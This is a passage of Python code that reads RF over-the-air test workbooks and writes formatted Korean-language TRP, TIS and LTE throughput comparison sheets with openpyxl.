self.check_num(abs(round(abs(float(list_5g_trp[0]))-16.86, 2))) + 'dBm'\n sheet_out['D6'] = self.cal_comparison(16.86, list_5g_trp[0]) + 'dBm'\n sheet_out['A7'] = 'DFTs-OFDM (n78)'\n sheet_out['B7'] = '-'\n sheet_out['C7'] = list_5g_trp[1]+'dBm'\n sheet_out['D7'] = '-'\n\n # sheet row 8 and 15 handle\n sheet_out['A8'] = ' - LTE'\n sheet_out['A9'] = '구분'\n sheet_out['B9'] = '기준(RHP)'\n sheet_out['C9'] = '측정결과'\n sheet_out['D9'] = '비교'\n\n sheet_out['A10'] = 'Band 1 15M'\n sheet_out['B10'] = '14.00dBm'\n sheet_out['C10'] = list_lte_trp[0] + 'dBm'\n # sheet_out['D10'] = self.check_num(abs(round(abs(float(list_lte_trp[0]))-14.00, 2))) + 'dBm'\n sheet_out['D10'] = self.cal_comparison(14.00, list_lte_trp[0]) + 'dBm'\n sheet_out['A11'] = 'Band 3 20M'\n sheet_out['B11'] = '15.00dBm'\n sheet_out['C11'] = list_lte_trp[1] + 'dBm'\n # sheet_out['D11'] = self.check_num(abs(round(abs(float(list_lte_trp[1]))-15.00, 2))) + 'dBm'\n sheet_out['D11'] = self.cal_comparison(15.00, list_lte_trp[1]) + 'dBm'\n sheet_out['A12'] = 'Band 5 10M'\n sheet_out['B12'] = '13.50dBm'\n sheet_out['C12'] = list_lte_trp[2] + 'dBm'\n # sheet_out['D12'] = self.check_num(abs(round(abs(float(list_lte_trp[2]))-13.50, 2))) + 'dBm'\n sheet_out['D12'] = self.cal_comparison(13.50, list_lte_trp[2]) + 'dBm'\n sheet_out['A13'] = 'Band 7 20M'\n sheet_out['B13'] = '13.00dBm'\n sheet_out['C13'] = list_lte_trp[3] + 'dBm'\n # sheet_out['D13'] = self.check_num(abs(round(abs(float(list_lte_trp[3])) - 13.00, 2))) + 'dBm'\n sheet_out['D13'] = self.cal_comparison(13.00, list_lte_trp[3]) + 'dBm'\n sheet_out['A14'] = 'Band 7 10M'\n sheet_out['B14'] = '13.00dBm'\n sheet_out['C14'] = list_lte_trp[4] + 'dBm'\n # sheet_out['D14'] = self.check_num(abs(round(abs(float(list_lte_trp[4])) - 13.00, 2))) + 'dBm'\n sheet_out['D14'] = self.cal_comparison(13.00, list_lte_trp[4]) + 'dBm'\n\n # sheet row 15 and 17 handle\n sheet_out['A15'] = ' - WCDMA (납품검사 결과)'\n sheet_out['A16'] = '구분'\n sheet_out['B16'] = '기준(RHP)'\n sheet_out['C16'] = '측정결과'\n sheet_out['A17'] = 'Band 1'\n sheet_out['B17'] = '15.00dBm'\n sheet_out['C17'] = list_wcdma_trp[0] + 'dBm'\n # sheet_out['D17'] = self.check_num(abs(round(abs(float(list_wcdma_trp[0])) - 15.00, 2))) + 'dBm'\n sheet_out['D17'] = self.cal_comparison(15.00, list_wcdma_trp[0]) + 'dBm'\n\n # sheet row 19 and 27 handle\n sheet_out['A19'] = '▣ MIMO TRP'\n sheet_out['A20'] = ' - LTE'\n sheet_out['A21'] = '구분'\n sheet_out['B21'] = '기준(RHP)'\n sheet_out['C21'] = '측정결과'\n sheet_out['A22'] = 'Band 1 15M'\n sheet_out['B22'] = '14.00dBm'\n sheet_out['C22'] = list_lte_trp[5] + 'dBm'\n # sheet_out['D22'] = self.check_num(abs(round(abs(float(list_lte_trp[5])) - 14.00, 2))) + 'dBm'\n sheet_out['D22'] = self.cal_comparison(14.00, list_lte_trp[5]) + 'dBm'\n sheet_out['A23'] = 'Band 3 20M'\n sheet_out['B23'] = '15.00dBm'\n sheet_out['C23'] = list_lte_trp[6] + 'dBm'\n # sheet_out['D23'] = self.check_num(abs(round(abs(float(list_lte_trp[6])) - 15.00, 2))) + 'dBm'\n sheet_out['D23'] = self.cal_comparison(15.00, list_lte_trp[6]) + 'dBm'\n sheet_out['A24'] = 'Band 5 10M'\n sheet_out['B24'] = '13.50dBm'\n sheet_out['C24'] = list_lte_trp[7]+'dBm'\n # sheet_out['D24'] = self.check_num(abs(round(abs(float(list_lte_trp[7])) - 13.50, 2))) + 'dBm'\n sheet_out['D24'] = self.cal_comparison(13.50, list_lte_trp[7]) + 'dBm'\n sheet_out['A25'] = 'Band 7 20M'\n sheet_out['B25'] = '13.00dBm'\n sheet_out['C25'] = list_lte_trp[8] + 'dBm'\n # sheet_out['D25'] = self.check_num(abs(round(abs(float(list_lte_trp[8])) - 13.00, 2))) + 'dBm'\n sheet_out['D25'] = self.cal_comparison(13.00, list_lte_trp[8]) + 'dBm'\n sheet_out['A26'] = 'Band 7 10M'\n sheet_out['B26'] = '13.00dBm'\n sheet_out['C26'] = list_lte_trp[9] + 'dBm'\n # sheet_out['D26'] = self.check_num(abs(round(abs(float(list_lte_trp[9])) - 13.00, 2))) + 'dBm'\n sheet_out['D26'] = self.cal_comparison(13.00, list_lte_trp[9]) + 'dBm'\n\n self.setPrintText('/s {}번 파일 \"TRP\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:D26\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A4'].alignment = self.top_alignment\n sheet_out['A8'].alignment = self.top_alignment\n sheet_out['A15'].alignment = self.top_alignment\n sheet_out['A19'].alignment = self.top_alignment\n sheet_out['A20'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A5:D7\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell border adjust\n for mCell in sheet_out[\"A9:D14\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell border adjust\n for mCell in sheet_out[\"A16:D17\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell border adjust\n for mCell in sheet_out[\"A21:D26\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A3:D26\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each coloum width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D']\n sheet_width_list = [25, 16.75, 17, 15]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n for i in [5, 9, 16, 21]:\n sheet_out['A' + str(i)].fill = self.brown_fill\n sheet_out['B' + str(i)].fill = self.brown_fill\n sheet_out['C' + str(i)].fill = self.brown_fill\n sheet_out['D' + str(i)].fill = self.brown_fill\n\n for i in [6, 7, 10, 11, 12, 13, 14, 17, 22, 23, 24, 25, 26]:\n sheet_out['A'+str(i)].fill = self.gray_fill\n sheet_out['B'+str(i)].fill = self.apricot_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"TRP\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # TIS Tab\n def tis_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n list_5g_tis = []\n list_lte_tis = []\n list_wcdma_tis = []\n\n # get data from wb_input\n sheet_in = wb_input['5G OTA']\n list_5g_tis.append(self.check_num(sheet_in['J7'].value))\n list_5g_tis.append(self.check_num(sheet_in['J8'].value))\n\n sheet_in = wb_input['LTE OTA']\n list_lte_tis.append(self.check_num(sheet_in['L17'].value))\n list_lte_tis.append(self.check_num(sheet_in['D17'].value))\n list_lte_tis.append(self.check_num(sheet_in['D10'].value))\n list_lte_tis.append(self.check_num(sheet_in['H17'].value))\n list_lte_tis.append(self.check_num(sheet_in['H10'].value))\n list_lte_tis.append(self.check_num(sheet_in['N17'].value))\n list_lte_tis.append(self.check_num(sheet_in['F17'].value))\n list_lte_tis.append(self.check_num(sheet_in['F10'].value))\n list_lte_tis.append(self.check_num(sheet_in['J17'].value))\n list_lte_tis.append(self.check_num(sheet_in['J10'].value))\n\n sheet_in = wb_input['WCDMA OTA']\n list_wcdma_tis.append(self.check_num(sheet_in['E9'].value))\n\n #option setting wb.output\n sheet_out = wb_output['TIS']\n # sheet row 2 handle\n sheet_out.merge_cells('A1:C1')\n sheet_out['A1'] = 'TIS 결과'\n\n # 3~4 row\n sheet_out['A3'] = '▣ SISO TIS'\n sheet_out['A4'] = ' - 5G'\n\n # sheet row 5 and 7 handle\n sheet_out['A5'] = '구분'\n sheet_out['B5'] = '기준(RHP)'\n sheet_out['C5'] = '측정결과'\n sheet_out['D5'] = '비교'\n sheet_out['A6'] = 'SISO (n78)'\n sheet_out['B6'] = '-'\n sheet_out['C6'] = list_5g_tis[0] + 'dBm'\n sheet_out['D6'] = '-'\n\n # sheet row 8 and 14 handle\n sheet_out['A8'] = ' - LTE'\n sheet_out['A9'] = '구분'\n sheet_out['B9'] = '기준(RHP)'\n sheet_out['C9'] = '측정결과'\n sheet_out['D9'] = '비교'\n sheet_out['A10'] = 'Band 1 15M'\n sheet_out['B10'] = '-92.00dBm'\n sheet_out['C10'] = list_lte_tis[0] + 'dBm'\n # sheet_out['D10'] = self.check_num(abs(round(abs(float(list_lte_tis[0])) - 92.00, 2))) + 'dBm'\n sheet_out['D10'] = self.cal_comparison(92.00, list_lte_tis[0]) + 'dBm'\n sheet_out['A11'] = 'Band 3 20M'\n sheet_out['B11'] = '-91.00dBm'\n sheet_out['C11'] = list_lte_tis[1] + 'dBm'\n # sheet_out['D11'] = self.check_num(abs(round(abs(float(list_lte_tis[1])) - 91.00, 2))) + 'dBm'\n sheet_out['D11'] = self.cal_comparison(91.00, list_lte_tis[1]) + 'dBm'\n sheet_out['A12'] = 'Band 5 10M'\n sheet_out['B12'] = '-87.00dBm'\n sheet_out['C12'] = list_lte_tis[2] + 'dBm'\n # sheet_out['D12'] = self.check_num(abs(round(abs(float(list_lte_tis[2])) - 87.00, 2))) + 'dBm'\n sheet_out['D12'] = self.cal_comparison(87.00, list_lte_tis[2]) + 'dBm'\n sheet_out['A13'] = 'Band 7 20M'\n sheet_out['B13'] = '-90.00dBm'\n sheet_out['C13'] = list_lte_tis[3] + 'dBm'\n sheet_out['D13'] = self.check_num(abs(round(abs(float(list_lte_tis[3])) - 90.00, 2))) + 'dBm'\n sheet_out['D13'] = self.cal_comparison(90.00, list_lte_tis[3]) + 'dBm'\n sheet_out['A14'] = 'Band 7 10M'\n sheet_out['B14'] = '-93.00dBm'\n sheet_out['C14'] = list_lte_tis[4] + 'dBm'\n # sheet_out['D14'] = self.check_num(abs(round(abs(float(list_lte_tis[4])) - 93.00, 2))) + 'dBm'\n sheet_out['D14'] = self.cal_comparison(93.00, list_lte_tis[4]) + 'dBm'\n\n # sheet row 16 and 18 handle\n sheet_out['A15'] = ' - WCDMA (납품검사 결과)'\n sheet_out['A16'] = '구분'\n sheet_out['B16'] = '기준(RHP)'\n sheet_out['C16'] = '측정결과'\n sheet_out['D16'] = '비교'\n sheet_out['A17'] = 'Band 1'\n sheet_out['B17'] = '-104.00dBm'\n sheet_out['C17'] = list_wcdma_tis[0] + 'dBm'\n # sheet_out['D17'] = self.check_num(abs(round(abs(float(list_wcdma_tis[0])) - 104.00, 2))) + 'dBm'\n sheet_out['D17'] = self.cal_comparison(104.00, list_wcdma_tis[0]) + 'dBm'\n\n # sheet row 19 and 22 handle\n sheet_out['A19'] = '▣ MIMO TRP'\n sheet_out['A20'] = ' - 5G'\n sheet_out['A21'] = '구분'\n sheet_out['B21'] = '기준(RHP)'\n sheet_out['C21'] = '측정결과'\n sheet_out['D21'] = '비교'\n sheet_out['A22'] = 'MIMO 4X4 (n78)'\n sheet_out['B22'] = '-'\n sheet_out['C22'] = list_5g_tis[1] + 'dBm'\n sheet_out['D22'] = '-'\n\n # sheet row 24 and 30 handle\n sheet_out['A24'] = ' - LTE'\n sheet_out['A25'] = '구분'\n sheet_out['B25'] = '기준(RHP)'\n sheet_out['C25'] = '측정결과'\n sheet_out['D25'] = '비교'\n sheet_out['A26'] = 'Band 1 15M'\n sheet_out['B26'] = '-86.00dBm'\n sheet_out['C26'] = list_lte_tis[5] + 'dBm'\n # sheet_out['D26'] = self.check_num(abs(round(abs(float(list_lte_tis[5])) - 86.00, 2))) + 'dBm'\n sheet_out['D26'] = self.cal_comparison(86.00, list_lte_tis[5]) + 'dBm'\n sheet_out['A27'] = 'Band 3 20M'\n sheet_out['B27'] = '-86.00dBm'\n sheet_out['C27'] = list_lte_tis[6] + 'dBm'\n # sheet_out['D27'] = self.check_num(abs(round(abs(float(list_lte_tis[6])) - 86.00, 2))) + 'dBm'\n sheet_out['D27'] = self.cal_comparison(86.00, list_lte_tis[6]) + 'dBm'\n sheet_out['A28'] = 'Band 5 10M'\n sheet_out['B28'] = '-82.50dBm'\n sheet_out['C28'] = list_lte_tis[7] + 'dBm'\n # sheet_out['D28'] = self.check_num(abs(round(abs(float(list_lte_tis[7])) - 82.50, 2))) + 'dBm'\n sheet_out['D28'] = self.cal_comparison(82.50, list_lte_tis[7]) + 'dBm'\n sheet_out['A29'] = 'Band 7 20M'\n sheet_out['B29'] = '-84.00dBm'\n sheet_out['C29'] = list_lte_tis[8] + 'dBm'\n # sheet_out['D29'] = self.check_num(abs(round(abs(float(list_lte_tis[8])) - 84.00, 2))) + 'dBm'\n sheet_out['D29'] = self.cal_comparison(84.00, list_lte_tis[8]) + 'dBm'\n sheet_out['A30'] = 'Band 7 10M'\n sheet_out['B30'] = '-87.00dBm'\n sheet_out['C30'] = list_lte_tis[9] + 'dBm'\n # sheet_out['D30'] = self.check_num(abs(round(abs(float(list_lte_tis[9])) - 87.00, 2))) + 'dBm'\n sheet_out['D30'] = self.cal_comparison(87.00, list_lte_tis[9]) + 'dBm'\n\n self.setPrintText('/s {}번 파일 \"TIS\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:D30\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A4'].alignment = self.top_alignment\n sheet_out['A8'].alignment = self.top_alignment\n sheet_out['A15'].alignment = self.top_alignment\n sheet_out['A19'].alignment = self.top_alignment\n sheet_out['A20'].alignment = self.top_alignment\n sheet_out['A24'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A5:D6\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell border adjust\n for mCell in sheet_out[\"A9:D14\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell border adjust\n for mCell in sheet_out[\"A16:D17\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell border adjust\n for mCell in sheet_out[\"A21:D22\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell border adjust\n for mCell in sheet_out[\"A25:D30\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A3:D30\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each coloum width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D']\n sheet_width_list = [25, 15, 17, 15]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n\n for i in [5, 9, 16, 21, 25]:\n sheet_out['A' + str(i)].fill = self.brown_fill\n sheet_out['B' + str(i)].fill = self.brown_fill\n sheet_out['C' + str(i)].fill = self.brown_fill\n sheet_out['D' + str(i)].fill = self.brown_fill\n\n for i in [6, 10, 11, 12, 13, 14, 17, 22, 26, 27, 28, 29, 30]:\n sheet_out['A'+str(i)].fill = self.gray_fill\n sheet_out['B'+str(i)].fill = self.apricot_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"TIS\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # 속도 Tab\n def spd_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n list_lte_spd = []\n\n # get data from wb_input\n sheet_in = wb_input['LTE OTA']\n # MIMO\n list_lte_spd.append(self.check_num(sheet_in['I25'].value))\n list_lte_spd.append(self.check_num(sheet_in['J25'].value))\n list_lte_spd.append(self.check_num(sheet_in['K25'].value))\n list_lte_spd.append(self.check_num(sheet_in['F25'].value))\n list_lte_spd.append(self.check_num(sheet_in['G25'].value))\n list_lte_spd.append(self.check_num(sheet_in['H25'].value))\n list_lte_spd.append(self.check_num(sheet_in['C25'].value))\n list_lte_spd.append(self.check_num(sheet_in['D25'].value))\n list_lte_spd.append(self.check_num(sheet_in['E25'].value))\n list_lte_spd.append(self.check_num(sheet_in['L25'].value))\n list_lte_spd.append(self.check_num(sheet_in['M25'].value))\n list_lte_spd.append(self.check_num(sheet_in['N25'].value))\n list_lte_spd.append(self.check_num(sheet_in['O25'].value))\n list_lte_spd.append(self.check_num(sheet_in['P25'].value))\n list_lte_spd.append(self.check_num(sheet_in['Q25'].value))\n # CA\n list_lte_spd.append(self.check_num(sheet_in['C33'].value))\n list_lte_spd.append(self.check_num(sheet_in['D33'].value))\n list_lte_spd.append(self.check_num(sheet_in['E33'].value))\n list_lte_spd.append(self.check_num(sheet_in['F33'].value))\n list_lte_spd.append(self.check_num(sheet_in['G33'].value))\n list_lte_spd.append(self.check_num(sheet_in['H33'].value))\n list_lte_spd.append(self.check_num(sheet_in['I33'].value))\n list_lte_spd.append(self.check_num(sheet_in['J33'].value))\n list_lte_spd.append(self.check_num(sheet_in['K33'].value))\n list_lte_spd.append(self.check_num(sheet_in['L33'].value))\n list_lte_spd.append(self.check_num(sheet_in['M33'].value))\n list_lte_spd.append(self.check_num(sheet_in['N33'].value))\n list_lte_spd.append(self.check_num(sheet_in['O33'].value))\n list_lte_spd.append(self.check_num(sheet_in['P33'].value))\n list_lte_spd.append(self.check_num(sheet_in['Q33'].value))\n list_lte_spd.append(self.check_num(sheet_in['R33'].value))\n list_lte_spd.append(self.check_num(sheet_in['S33'].value))\n list_lte_spd.append(self.check_num(sheet_in['T33'].value))\n\n #option setting wb.output\n sheet_out = wb_output['속도']\n # sheet row 2 handle\n sheet_out.merge_cells('A1:C1')\n sheet_out['A1'] = '속도 결과'\n\n # 3~4 row\n sheet_out['A3'] = '▣ MIMO 속도'\n sheet_out['A4'] = ' - LTE'\n\n # sheet row 5 and 20 handle\n sheet_out['A5'] = '구분'\n sheet_out.merge_cells('B5:C5')\n sheet_out['B5'] = '기준(Free)'\n sheet_out['D5'] = '측정결과'\n sheet_out['E5'] = '비교'\n\n sheet_out.merge_cells('A6:A8')\n sheet_out['A6'] = 'Band 1 15M(MCS28)'\n sheet_out['B6'] = 'RSSI'\n sheet_out['B7'] = '속도(Absolute)'\n sheet_out['B8'] = 'BLER'\n sheet_out['C6'] = '-61.00dBm'\n sheet_out['C7'] = '87700Kbps'\n sheet_out['C8'] = '20.00%'\n sheet_out['D6'] = list_lte_spd[0] + 'dBm'\n sheet_out['D7'] = list_lte_spd[1] + 'Kbps'\n sheet_out['D8'] = list_lte_spd[2] + '%'\n # sheet_out['E6'] = self.check_num(abs(round(abs(float(list_lte_spd[0])) - 61.00, 2))) + 'dBm'\n # sheet_out['E7'] = self.check_num(abs(round(abs(float(list_lte_spd[1])) - 87700, 2))) + 'Kbps'\n # sheet_out['E8'] = self.check_num(abs(round(abs(float(list_lte_spd[2])) - 20.00, 2))) + '%'\n sheet_out['E6'] = self.cal_comparison(61.00, list_lte_spd[0]) + 'dBm'\n sheet_out['E7'] = self.cal_comparison(87700.00, list_lte_spd[1]) + 'Kbps'\n sheet_out['E8'] = self.cal_comparison(20.00, list_lte_spd[2]) + '%'\n\n sheet_out.merge_cells('A9:A11')\n sheet_out['A9'] = 'Band 3 20M(MCS28)'\n sheet_out['B9'] = 'RSSI'\n sheet_out['B10'] = '속도(Absolute)'\n sheet_out['B11'] = 'BLER'\n sheet_out['C9'] = '-61.00dBm'\n sheet_out['C10'] = '119900Kbps'\n sheet_out['C11'] = '20.00%'\n sheet_out['D9'] = list_lte_spd[3] + 'dBm'\n sheet_out['D10'] = list_lte_spd[4] + 'Kbps'\n sheet_out['D11'] = list_lte_spd[5] + '%'\n # sheet_out['E9'] = self.check_num(abs(round(abs(float(list_lte_spd[3])) - 61.00, 2))) + 'dBm'\n # sheet_out['E10'] = self.check_num(abs(round(abs(float(list_lte_spd[4])) - 119900, 2))) + 'Kbps'\n # sheet_out['E11'] = self.check_num(abs(round(abs(float(list_lte_spd[5])) - 20.00, 2))) + '%'\n sheet_out['E9'] = self.cal_comparison(61.00, list_lte_spd[3]) + 'dBm'\n sheet_out['E10'] = self.cal_comparison(119900.00, list_lte_spd[4]) + 'Kbps'\n sheet_out['E11'] = self.cal_comparison(20.00, list_lte_spd[5]) + '%'\n\n sheet_out.merge_cells('A12:A14')\n sheet_out['A12'] = 'Band 5 10M(MCS27)'\n sheet_out['B12'] = 'RSSI'\n sheet_out['B13'] = '속도(Absolute)'\n sheet_out['B14'] = 'BLER'\n sheet_out['C12'] = '-60.00dBm'\n sheet_out['C13'] = '50300Kbps'\n sheet_out['C14'] = '20.00%'\n sheet_out['D12'] = list_lte_spd[6] + 'dBm'\n sheet_out['D13'] = list_lte_spd[7] + 'Kbps'\n sheet_out['D14'] = list_lte_spd[8] + '%'\n # sheet_out['E12'] = self.check_num(abs(round(abs(float(list_lte_spd[6])) - 60.00, 2))) + 'dBm'\n # sheet_out['E13'] = self.check_num(abs(round(abs(float(list_lte_spd[7])) - 50300, 2))) + 'Kbps'\n # sheet_out['E14'] = self.check_num(abs(round(abs(float(list_lte_spd[8])) - 20.00, 2))) + '%'\n sheet_out['E12'] = self.cal_comparison(60.00, list_lte_spd[6]) + 'dBm'\n sheet_out['E13'] = self.cal_comparison(50300.00, list_lte_spd[7]) + 'Kbps'\n sheet_out['E14'] = self.cal_comparison(20.00, list_lte_spd[8]) + '%'\n\n sheet_out.merge_cells('A15:A17')\n sheet_out['A15'] = 'Band 7 20M(MCS28)'\n sheet_out['B15'] = 'RSSI'\n sheet_out['B16'] = '속도(Absolute)'\n sheet_out['B17'] = 'BLER'\n sheet_out['C15'] = '-60.00dBm'\n sheet_out['C16'] = '119900Kbps'\n sheet_out['C17'] = '20.00%'\n sheet_out['D15'] = list_lte_spd[9] + 'dBm'\n sheet_out['D16'] = list_lte_spd[10] + 'Kbps'\n sheet_out['D17'] = list_lte_spd[11] + '%'\n # sheet_out['E15'] = self.check_num(abs(round(abs(float(list_lte_spd[9])) - 60.00, 2))) + 'dBm'\n # sheet_out['E16'] = self.check_num(abs(round(abs(float(list_lte_spd[10])) - 119900, 2))) + 'Kbps'\n # sheet_out['E17'] = self.check_num(abs(round(abs(float(list_lte_spd[11])) - 20.00, 2))) + '%'\n sheet_out['E15'] = self.cal_comparison(60.00, list_lte_spd[9]) + 'dBm'\n sheet_out['E16'] = self.cal_comparison(119900.00, list_lte_spd[10]) + 'Kbps'\n sheet_out['E17'] = self.cal_comparison(20.00, list_lte_spd[11]) + '%'\n\n sheet_out.merge_cells('A18:A20')\n sheet_out['A18'] = 'Band 7 10M(MCS27)'\n sheet_out['B18'] = 'RSSI'\n sheet_out['B19'] = '속도(Absolute)'\n sheet_out['B20'] = 'BLER'\n sheet_out['C18'] = '-60.00dBm'\n sheet_out['C19'] = '50300Kbps'\n sheet_out['C20'] = '20.00%'\n sheet_out['D18'] = list_lte_spd[12] + 'dBm'\n sheet_out['D19'] = list_lte_spd[13] + 'Kbps'\n sheet_out['D20'] = list_lte_spd[14] + '%'\n # sheet_out['E18'] = self.check_num(abs(round(abs(float(list_lte_spd[12])) - 60.00, 2))) + 'dBm'\n # sheet_out['E19'] = self.check_num(abs(round(abs(float(list_lte_spd[13])) - 50300, 2))) + 'Kbps'\n # sheet_out['E20'] = self.check_num(abs(round(abs(float(list_lte_spd[14])) - 20.00, 2))) + '%'\n sheet_out['E18'] = self.cal_comparison(60.00, list_lte_spd[12]) + 'dBm'\n sheet_out['E19'] = self.cal_comparison(50300.00, list_lte_spd[13]) + 'Kbps'\n sheet_out['E20'] = self.cal_comparison(20.00, list_lte_spd[14]) + '%'\n\n\n # 22 ~ 23 row\n sheet_out['A22'] = '▣ CA 속도'\n sheet_out['A23'] = ' - LTE'\n\n # sheet row 24 and 42 handle\n sheet_out['A24'] = '구분'\n sheet_out.merge_cells('B24:C24')\n sheet_out['B24'] = '기준(Free)'\n sheet_out['D24'] = '측정결과'\n sheet_out['E24'] = '비교'\n\n sheet_out.merge_cells('A25:A27')\n sheet_out['A25'] = '2CA : B3+B5(MCS28)'\n sheet_out['B25'] = 'RSSI'\n sheet_out['B26'] = '속도(Absolute)'\n sheet_out['B27'] = 'BLER'\n sheet_out['C25'] = '-58.00dBm'\n sheet_out['C26'] = '178390Kbps'\n sheet_out['C27'] = '-'\n sheet_out['D25'] = list_lte_spd[15] + 'dBm'\n sheet_out['D26'] = list_lte_spd[16] + 'Kbps'\n sheet_out['D27'] = list_lte_spd[17] + '%'\n # sheet_out['E25'] = self.check_num(abs(round(abs(float(list_lte_spd[15])) - 58.00, 2))) + 'dBm'\n # sheet_out['E26'] = self.check_num(abs(round(abs(float(list_lte_spd[16])) - 178390, 2))) + 'Kbps'\n sheet_out['E25'] = self.cal_comparison(58.00, list_lte_spd[15]) + 'dBm'\n sheet_out['E26'] = self.cal_comparison(178390.00, list_lte_spd[16]) + 'Kbps'\n sheet_out['E27'] = '-'\n\n sheet_out.merge_cells('A28:A30')\n sheet_out['A28'] = '3CA : B7(20M)+B3+B1(MCS28)'\n sheet_out['B28'] = 'RSSI'\n sheet_out['B29'] = '속도(Absolute)'\n sheet_out['B30'] = 'BLER'\n sheet_out['C28'] = '-58.00dBm'\n sheet_out['C29'] = '327500Kbps'\n sheet_out['C30'] = '-'\n sheet_out['D28'] = list_lte_spd[18] + 'dBm'\n sheet_out['D29'] = list_lte_spd[19] + 'Kbps'\n sheet_out['D30'] = list_lte_spd[20] + '%'\n # sheet_out['E28'] = self.check_num(abs(round(abs(float(list_lte_spd[18])) - 58.00, 2))) + 'dBm'\n # sheet_out['E29'] = self.check_num(abs(round(abs(float(list_lte_spd[19])) - 327500, 2))) + 'Kbps'\n sheet_out['E28'] = self.cal_comparison(58.00, list_lte_spd[18]) + 'dBm'\n sheet_out['E29'] = self.cal_comparison(327500.00, list_lte_spd[19]) + 'Kbps'\n sheet_out['E30'] = '-'\n\n sheet_out.merge_cells('A31:A33')\n sheet_out['A31'] = '3CA : B7(20M)+B3+B5(MCS28)'\n sheet_out['B31'] = 'RSSI'\n sheet_out['B32'] = '속도(Absolute)'\n sheet_out['B33'] = 'BLER'\n sheet_out['C31'] = '-58.00dBm'\n sheet_out['C32'] = '298300Kbps'\n sheet_out['C33'] = '-'\n sheet_out['D31'] = list_lte_spd[21] + 'dBm'\n sheet_out['D32'] = list_lte_spd[22] + 'Kbps'\n sheet_out['D33'] = list_lte_spd[23] + '%'\n # sheet_out['E31'] = self.check_num(abs(round(abs(float(list_lte_spd[21])) - 58.00, 2))) + 'dBm'\n # sheet_out['E32'] = self.check_num(abs(round(abs(float(list_lte_spd[22])) - 298300, 2))) + 'Kbps'\n sheet_out['E31'] = self.cal_comparison(58.00, list_lte_spd[21]) + 'dBm'\n sheet_out['E32'] = self.cal_comparison(298300.00, list_lte_spd[22]) + 'Kbps'\n sheet_out['E33'] = '-'\n\n sheet_out.merge_cells('A34:A36')\n sheet_out['A34'] = '3CA : B7(20M)+B3+B7(MCS28)'\n sheet_out['B34'] = 'RSSI'\n sheet_out['B35'] = '속도(Absolute)'\n sheet_out['B36'] = 'BLER'\n sheet_out['C34'] = '-58.00dBm'\n sheet_out['C35'] = '298300Kbps'\n sheet_out['C36'] = '-'\n sheet_out['D34'] = list_lte_spd[24] + 'dBm'\n sheet_out['D35'] = list_lte_spd[25] + 'Kbps'\n sheet_out['D36'] = list_lte_spd[26] + '%'\n # sheet_out['E34'] = self.check_num(abs(round(abs(float(list_lte_spd[24])) - 58.00, 2))) + 'dBm'\n # sheet_out['E35'] = self.check_num(abs(round(abs(float(list_lte_spd[25])) - 298300, 2))) + 'Kbps'\n sheet_out['E34'] = self.cal_comparison(58.00, list_lte_spd[24]) + 'dBm'\n sheet_out['E35'] = self.cal_comparison(298300.00, list_lte_spd[25]) + 'Kbps'\n sheet_out['E36'] = '-'\n\n sheet_out.merge_cells('A37:A39')\n sheet_out['A37'] = '4CA : B7(20M)+B3+B5+B1(MCS28)'\n sheet_out['B37'] = 'RSSI'\n sheet_out['B38'] = '속도(Absolute)'\n sheet_out['B39'] = 'BLER'\n sheet_out['C37'] = '-57.00dBm'\n sheet_out['C38'] = '386000Kbps'\n sheet_out['C39'] = '-'\n sheet_out['D37'] = list_lte_spd[27] + 'dBm'\n sheet_out['D38'] = list_lte_spd[28] + 